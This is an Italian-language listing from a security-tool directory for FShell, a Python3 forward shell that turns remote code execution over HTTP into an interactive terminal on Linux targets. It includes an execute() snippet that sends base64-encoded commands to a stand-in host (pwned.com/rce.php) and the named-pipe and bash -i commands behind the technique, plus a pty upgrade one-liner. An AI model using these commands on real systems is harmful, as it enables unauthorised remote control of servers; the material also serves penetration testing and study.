Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
FShell — La mia implementazione in python3 di una Forward Shell | Kitploit
Strumenti/GitHubGitHub/hypnoze57/fshell
ExploitPost-ExploitPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubhypnoze57/fshell

FShell

La mia implementazione in python3 di una Forward Shell

Vedi Repository
3857 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

FShell

Descrizione

FShell è la mia implementazione di una Forward Shell. È progettata per ottenere una tty interattiva usando l'esecuzione remota di codice tramite un protocollo senza stato (es. HTTP).

Perché dovrei usare una forward shell?

  • Il server remoto non è in grado di raggiungere internet, nessuna possibilità di reverse shell
  • Non voglio che il server inizi nuove connessioni in uscita o esponga nuovi servizi (usare solo il servizio vulnerabile esposto)

Tuttavia, presenta anche svantaggi:

  • Molte richieste al secondo (nel caso di un web server, genererà molti log di accesso)
  • Non completamente interattiva: nessun auto-completamento (teoricamente potrebbe essere implementato, ma genererebbe un'enorme quantità di richieste), ricorda che il tuo input viene inviato allo script python e poi al server remoto.

La frequenza delle richieste può essere modificata agendo sulla variabile BEACONING_DELAY.

Requisiti

Sulla macchina attaccante

Python3 & librerie:

  • requests
  • termcolor

Sul target

Al momento è supportato solo Linux e richiede comandi/strumenti di base sul sistema remoto:

  • python2 (e modulo pty)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

Utilizzo

Modifica la variabile WRITABLE_FOLDER se /tmp non è scrivibile o se hai qualcosa di meglio (preferisci /dev/shm)

Devi assolutamente ridefinire la funzione execute per effettuare la tua esecuzione remota di codice:

root@kitploit:~
def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      Raw shell command to execute on the remote system
    :timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
              If you cannot, put named pipe creation in separated thread
    :verbose  Print full cmd executed on the remote system (Debug mode)
    """
    # Put your RCE code here
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # You can apply formating if the output is not only the output of command

Comandi

  • help_shell: Mostra l'aiuto dei comandi
  • get_sessid: Mostra l'id della sessione corrente sul server remoto
  • upgrade_shell: Avvia una pty remota usando python per creare una shell interattiva
  • exit_shell: Termina 'correttamente' la shell remota. Se sei connesso con un utente diverso dal primo, esci normalmente prima.

Demo

FShell Demo

Come funziona

I concetti sono piuttosto semplici.

Per prima cosa devi creare una named pipe sul sistema remoto. Verrà usata per inviare comandi alla shell
mkfifo /tmp/input.

Poi, crea un ciclo bash che legge continuamente la named pipe e la invia a un processo bash interattivo che invia stdin e stderr a un file di output.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[Lettura della named pipe] -> [Esecuzione del contenuto della named pipe] -> [Invio di stdin/stderr nel file di output] -> [Torna a leggere la named pipe grazie all'opzione '-f' di tail]

La parte successiva è avviare un thread python che esegue cat /tmp/output regolarmente per ottenere l'output della shell.
Se il thread trova dati, pulisce il contenuto del file di output usando echo '' > /tmp/output
Consiglio: Per evitare log di errore per un file inesistente, lo script esegue il comando 'id' prima di avviare il thread 'GetOutput' per creare il file di output.

Uno degli ultimi passaggi è ottenere l'input dell'utente dal nostro script python e inviarlo alla named pipe
echo USERCMD > /tmp/input

E il trucco finale per ottenere una tty remota interattiva è il comando 'upgrade_shell'. Questo comando esegue un python -c 'import pty;pty.spawn("/bin/bash")' (e alcuni export e alias) per generare una tty reale per il processo corrente (usato nel ciclo della named pipe)

Ringraziamenti

Grazie a @ippsec, non sapevo che qualcosa del genere fosse possibile prima di guardare questi video Stratosphere HTB Write Up!

Spero che ti diverta!

Scarica lo strumento